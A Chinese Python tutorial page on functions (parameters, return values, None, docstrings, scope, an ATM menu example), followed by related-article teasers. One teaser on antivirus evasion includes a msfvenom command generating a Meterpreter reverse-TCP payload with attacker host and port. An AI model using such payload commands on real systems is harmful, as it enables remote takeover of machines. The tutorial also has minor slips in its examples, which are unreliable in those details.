python从入门到精通:函数

news2024/11/16 11:41:24

目录

1、函数介绍

2、函数的定义

3、函数的传入参数

4、函数的返回值

5、函数说明文档

6、函数的嵌套调用

7、变量的作用域



1、函数介绍

函数是组织好的,可重复使用的,用来实现特定功能的代码段。

name = "zhangsan";
length = len(name);
print(length)

之所以可以随时调用len( )(实现统计长度)函数,是因为,它是python内置的函数(提前写好的)。不使用len( )函数如何实现统计字符串长度。

str = "python";
count = 0;
for i in str:
    count += 1;
print(count)
# 可以使用函数,来优化这个过程
def my_len(data):
    count = 0;
    for i in data:
        count += 1;
    print(f"字符串{data}的长度为{count}")
my_len(str)

函数可以得到一个针对特定需求、可供重复利用的代码段提高程序的复用性,减少重复性代码、提高开发效率。 

2、函数的定义

函数的定义:

def 函数名(传入参数):

        函数体

        return 返回值

函数调用:

函数名(参数) 

# 简单定义一个函数
def my_hi():
    print("hello")
my_hi()

注意事项:

1、参数如果不需要,可以省略

2、返回值如果不需要,可以省略

3、函数必须限定以后使用 

3、函数的传入参数

传入参数的功能是:在函数进行计算的时候,接受外部(调用时)提供的数据。

def add1():
    result = 1 + 2;
    print(f"{result}")
add1()
# add1()功能十分局限,只能计算1+2,但我们如果给函数增加两个传入参数,从而让用户指定加法计算
def add2(a,b):
    result = a + b;
    print(f"{a}+{b}={a+b}");
add2(3,4)

1、函数定义中,提供的a和b,称之为:形式参数(形参),表示函数声明将要使用两个参数(参数之间使用逗号进行分割)

2、函数调用中,提供的5和6,称之为:实际参数(实参),表示函数执行时真正使用的参数值(传入的时候,按照顺序传入数据,使用逗号分隔)

传入的参数数量是不受限制的(可以不使用参数,也可以使用任意N个参数) 

4、函数的返回值

程序中的返回值:

# 定义两数相加的函数功能。完成功能后,会将相加的结果返回给函数调用者,所以,变量r接收到了函数的执行结果。
def add(a,b):
    result = a + b;
    return result;
r = add(3,4)
print(r)

所谓“返回值”,就是程序中函数完成事情之后,最后给调用者的结果。

语法格式如下:

def 函数名(传入参数):

        函数体

        return 返回值

变量=函数(参数)

注意:函数体在遇到return后就结束了,所以写在return后的代码不会执行。

函数如果没有使用return语句返回数据,函数的返回值为:None

None是一个特殊的字面量,其类型是:<class 'NoneType'>无返回值的函数,实际上就是返回了:None这个字面量。

None表示:空的、无实际意义的意思。函数返回的None,就表示,这个函数没有返回什么有意义的内容,返回值为空的意思。 

def say_hello():
    print("hello")
    # None
result = say_hello();
print(result)
print(f"返回类型为{type(result)}")

None类型的应用场景:

None作为一个特殊的字面量,用于表示:空、无意义,其有非常多的应用场景。

1、用在函数无返回值上。

2、用在 if判断上:在if判断中,None等同于False,一般用于在函数中主动返回None,配合if判断做相关处理。

def check_age(age):
    if age > 18:
        return "SUCCESS";
    else:
        return None
result = check_age(14)
if not result:
    # 进入if表明result是None值
    print("未满18岁")

3、用于声明无内容的变量上:定义变量,但暂时不需要变量有具体值,可以用None来代替。

name = None

5、函数说明文档

函数是纯代码语言,想要理解其含义,就要一行行的去阅读理解代码,效率比较低。

我们可以给函数添加说明文档,辅助理解函数的作用。

语法如下:

def func(x,y):
    """
    函数说明
    :param x: 形参x的说明
    :param y: 形参y的说明
    :return: 返回值的说明
    """
    函数体
    return 返回值

 通过多行注释,对函数进行说明解释(内容要在函数体前)

def add(x,y):
    """
    add函数可以接受两个参数,对两数进行相加
    :param x: 形参x表示相加的其中一个数字
    :param y: 形参y表示相加的另一个数字
    :return: 返回两数相加的结果
    """
    result = x + y;
    print(f"{x}+{y}={x+y}")
    return result

我们还可以通过鼠标悬停的方式来查看说明文档:

 可以帮助更好的理解函数。

6、函数的嵌套调用

所谓函数嵌套调用指的是一个函数里面又调用了另外一个函数。

def func_b():
    print(2)
def func_a():
    print(1)
    func_b()
func_a()

如果函数a中,调用了另外一个函数b,那么先把函数b中的任务都执行完毕之后才会回到上次函数a执行的位置。 

7、变量的作用域

变量的作用域指的是变量的作用范围(变量在哪里可用,在哪里不可用)

主要分为两类:局部变量和全局变量

所谓局部变量是定义在函数体内部的变量,即只在函数体内部生效。

def test():
    num = 100
print(num) # 报错:name 'num' is not defined

变量num是定义在“test”函数内部的变量,在函数外部访问则立即报错

局部变量的作用:在函数体内部,临时保存数据,当函数调用完成后,则立即销毁局部变量。

全局变量指的是在函数体内、外都能生效的变量

def testA():
    print(num)
def testB():
    print(num)
testA() # 100
testB() # 100

 global关键字:

对于上一个代码如果将“testB”函数需要修改变量num的值为200,如何修改程序?

num = 100
def testA():
    print(num)
def testB():
    global num
    num=200
    print(num)
testA() # 100
testB() # 200
print(num) # 200
# 案例:农业银行ATM:存款、取款、查询余额函数
# d定义全局变量
money = 50000
name = None
# 要求客户输出姓名
name = input("请输入您的姓名:")
# 定义查询函数
def query(show_header):
    if show_header:
        print("---------查询余额------------")
    print(f"{name}您好!您的余额剩余{money}")
# 定义存款函数
def save(num):
    global money
    print("---------存款------------")
    money = money + num
    print(f"{name}您存款{num}元成功")
    query(False)
# 定义取款函数
def get(num):
    global money
    print("---------取款------------")
    if money != 0:
        money = money - num
        print(f"{name}您取款{num}元成功")
        query(False)
    else:
        print("您好!您的帐户余额为0,请及时充值")
# 定义主菜单函数
def main():
    print("----------主菜单-----------")
    print(f"你好!欢迎来到农业银行ATM,请选择:")
    print("查询余额输入\t[1]")
    print("存款输入\t\t[2]")
    print("取款输入\t\t[3]")
    print("退出输入\t\t[4]")
    return input("请输入您的选择:")
# 无限循环,确保不会退出
while True:
    key_board = main()
    if key_board == "1":
        query(True)
        continue # 通过continue继续下一次循环
    elif key_board == "2":
        num = int(input("您要存款的金额:"))
        save(num)
        continue
    elif key_board == "3":
        num = int(input("您要取款的金额:"))
        get(num)
        continue
    else:
        print("退出系统!")
        break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043143.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器学习(1)--数据可视化

文章目录 数据可视化作用可视化方法实现可视化 总结 数据可视化 数据可视化是将数据以图形、图像、动画等视觉形式表示出来&#xff0c;以便人们能够更直观地理解、分析和交流数据中的信息。 作用 一个整理的好好的数据&#xff0c;我们为什么要将其可视化呢&#xff1f;将它…

深入理解指针

前言&#xff1a;对于指针我们已经有了初步的了解&#xff0c;并已能够简单使用。今天我们来深入理解指针。让我们的指针功力更上一层楼。 1 使用指针访问数组 有了指针的知识&#xff0c;再结合数组的特点&#xff0c;我们就可以使用指针来访问数组了。 #include<stdio.…

线程的进阶学习

线程结束方式: 1.pthread_exit //pthread_join 2.从线程执行函数中return //此时效果等价于pthread_exit 3.pthread_cancel //线程可以被取消 4.任何一个线程调用了exit 或者 主线程 (main函数) return都会造成 进程结束 线程资源回收 ---pthread_join int pthread_ca…

汤姆·克鲁斯对妮可·基德曼经常对粉丝提起他们以前的事感到恼火

妮可基德曼最近回忆了她与前夫汤姆克鲁斯和导演斯坦利库布里克在 1999 年的电影《大开眼戒》中合作的时光。这似乎是对她职业生涯中某个时刻的无伤大雅的回顾&#xff0c;但据报道&#xff0c;有一个人对她在纪念该电影上映 25 周年时的谈话感到不满。 据报道&#xff0c;克鲁…

Polars简明基础教程十四:可视化(四)

数据帧交换协议 数据帧互换协议&#xff08;Dataframe Interchange Protocol&#xff09;&#xff0c;是为了提高不同数据帧库之间的互操作性而设计的。 想象一下&#xff0c;你有很多不同类型的储物箱&#xff08;在这里比喻为不同的数据帧库&#xff0c;如 Pandas、Polars、…

ArkTs基础语法-声明式UI-基本概念

声明式UI语法 基本概念声明式UI描述创建组件无参数有参数 配置属性配置事件 配置子组件 基本概念 装饰器&#xff1a;用于装饰类、结构、方法及变量&#xff0c;并赋予其特殊的含义。 例如&#xff1a; Entry 有该装饰器的自定义组件&#xff0c;可以在UIAbility中使用&#xf…

Transformer在单细胞组学中干了啥?

—https://doi.org/10.1038/s41592-024-02353-z 留意更多内容&#xff0c;欢迎关注微信公众号&#xff1a;组学之心 研究团队和单位 综述简介 细胞表型参考图谱的构建&#xff08;已有很多篇超百万级单细胞的多组学图谱&#xff09;&#xff0c;极大丰富了单细胞组学数据的数…

WEB渗透免杀篇-Python源码免杀

Base64编码Pyinstaller打包 MSF监听需设置自动迁移进程 set autorunscript migrate -n explorer.exe msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.0.108 LPORT12138 -f c -o /var/www/html/1.cShellcode粘贴在shellcodebase64c.py中 python…

Element UI导航菜单刷新就复原问题解决方法~

1、首先要知道为什么一刷新就复原了&#xff0c;是因为default-active属性设置的是默认值&#xff0c;是一个死值&#xff0c;一旦刷新就会复原&#xff0c;造成高亮不能保持&#xff0c;那么怎么解决呢&#xff1f; 2、很简单&#xff0c;无需像一些博主一样绑定path。思路&a…

本机电脑,代码仓库,服务器三者代码同步流程

本机电脑&#xff0c;代码仓库&#xff0c;服务器三者代码同步流程 本机电脑将代码push到代码仓库从代码仓库clone或者pull代码服务器&#xff08;非必要但习惯于&#xff09;本机电脑通过ssh远程连接服务器进行操作 关于密钥&#xff1a;&#xff08;通过ssh的密钥同步代码不…

Linux系统驱动(十八)SPI总线(未整理)

文章目录 一、SPI总线协议简介二、SPI子系统驱动&#xff08;二&#xff09;SPI子系统API&#xff08;三&#xff09;SPI设备树节点 三、代码示例 一、SPI总线协议简介 高速、同步、全双工、非差分、总线式 传输速度在几十M 差分总线和非差分总线 非差分总线&#xff1a;受压…

微信小程序开发了支付系统(必须要进行发货管理)

开发了一个小程序&#xff0c;然后必小程序支付后&#xff0c;一定要发货&#xff1f;线上购买线下取货如何发货&#xff1f; 这其实就是你服务类目选择错了&#xff0c;有的分类是必须要有发货管理的&#xff0c;但是有的就不需要&#xff0c;所以有些时候微信的规则还真的挺…

【vue】h 函数的使用

文章目录 1. 引言2. h 函数3. h 函数的使用3.1 v-if3.2 v-for3.3 v-on3.4 组件3.5 渲染插槽 4. h函数的使用场景参考链接 1. 引言 在绝大多数情况下&#xff0c;Vue 推荐使用模板语法来创建应用。然而在某些使用场景下&#xff0c;我们真的需要用到 JavaScript 完全的编程能力。…

C++ 面试题常用总结 详解(满足c++ 岗位必备,不定时更新)

&#x1f4da; 本文主要总结了一些常见的C面试题&#xff0c;主要涉及到语法基础、STL标准库、内存相关、类相关和其他辅助技能&#xff0c;掌握这些内容&#xff0c;基本上就满足C的岗位技能&#xff08;红色标记为重点内容&#xff09;&#xff0c;欢迎大家前来学习指正&…

01 网络编程-概念引入

目录 1、互联网与物联网 2、计算机网络分类 &#xff08;1&#xff09;按地理范围分类 &#xff08;2&#xff09;按网络拓扑分类 &#xff08;3&#xff09;按网络用途分类 3、套接字 4、网络的七层模型&#xff08;OSI--国际化标准&#xff09; 5、TCP/IP四层协议栈 …

qml ChartView实现动态数据曲线

文章目录 一、qml静态数据曲线二、qml ChartView实现动态数据曲线三、使用C++给曲线提供数据更多qml教程,请参考QML入门进阶教程专栏:https://mingshiqiang.blog.csdn.net/category_9951228_2.html 本篇博客介绍使用qml实现动态数据曲线,效果图如下: 本篇博客代码通过C+…

DolphinScheduler3.2.2在centos7上伪集群部署

DolphinScheduler 是一个分布式易扩展的可视化工作流任务调度系统。集成了很多数据处理常用的功能&#xff0c;包括定时任务&#xff0c;脚本执行&#xff0c;错误预警等。 它具有以下一些主要特点和优势&#xff1a; 分布式架构&#xff1a;支持大规模任务的调度和管理&#…

centos7卸载docker报错No Packages marked for removal

执行&#xff1a; yum -y remove docker* 报错&#xff1a; No Packages marked for removal 执行&#xff1a; yum list installed | grep docker yum remove -y docker-ce.x86_64 docker-ce-cli.x86_64 containerd.io.x86_64

进程的退出以及线程

接上节&#xff1a; 1.wait 本身是一个阻塞操作&#xff0c;谁调用它就会使调用者阻塞 2.父进程要获得子进程的退出状态 要两个进程配合操作&#xff1a; 子进程&#xff1a; exit(退出状态值&#xff09; 退出状态值 只有最低为有效&#xff0c;范围为[0-255] 父进程 wa…

<Qt> 系统 - 网络编程 | 音视频

目录 前言&#xff1a; 一、QUdpSocket &#xff08;一&#xff09;核心 API 概览 &#xff08;二&#xff09;设计一个UDP回显服务器 二、QTCPSocket &#xff08;一&#xff09;核心 API 概览 &#xff08;二&#xff09;设计一个TCP回显服务器 三、HTTP Client 四、…